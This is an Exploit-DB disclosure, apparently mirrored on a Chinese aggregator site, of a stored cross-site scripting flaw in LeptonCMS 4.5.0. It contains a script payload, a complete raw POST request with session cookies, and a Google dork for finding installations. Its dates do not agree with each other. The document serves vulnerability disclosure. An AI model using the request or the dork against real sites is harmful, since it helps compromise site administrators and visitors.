LeptonCMS 4.5.0 – Persistent Cross-Site Scripting

• Exploit Database
• 105 阅读

• 作者： SunCSR
  日期： 2020-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48250/
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  # Exploit Title: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting # Google Dork: "lepton cms" # Date: 2019-03-24 # Exploit Author: SunCSR (Sun* Cyber Security Research) # Vendor Homepage: https://lepton-cms.org/english/home.php # Software Link: https://lepton-cms.org/posts/new-release-lepton-4.5.0-139.php # Version: 4.5.0 # Tested on: Windows # CVE : CVE-2020-12707   ### Vulnerability : Persistent Cross-Site Scripting   # Description A stored cross-site-scripting security issue in the edit page feature Url : http://TARGET/lepton/backend/pages/modify.php Request Type: POST Vulnerable Parameter : "content" Payload : content=<script>alert('XSS')</script>   #POC POST /lepton/modules/wysiwyg/save.php?leptoken=03d01fea73f9810402beez1585032684 HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 79 Origin: http://TARGET Connection: close Referer: http://TARGET/lepton/backend/pages/modify.php?page_id=5&leptoken=f04ef2dc728873e9fa849z1585032680 Cookie: cookieconsent_status=dismiss; SESSc3618c3927e551a1d6443b365aef1bc3=_guGZcGkV8IUWJx91f8pVQo8aBpxO4ipp75Un8WQN-g; _ctr=MTI3XzBfMF8xLlpa; nv4_cltz=420.420.420%257C%252F%257C.thiennv.com; nv4_ctr=MTI3XzBfMF8xLlpa; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7; lep8407sessionid=6aqrn6ccetoeqdes68e44hdlul Upgrade-Insecure-Requests: 1   page_id=5&section_id=5&content5=<script>alert('XSS')</script>   ### History ============= 2020-03-18Issue discovered 2020-04-20Vendor contacted 2020-04-21Vendor response and hotfix 2020-04-23Vendor releases fixed versions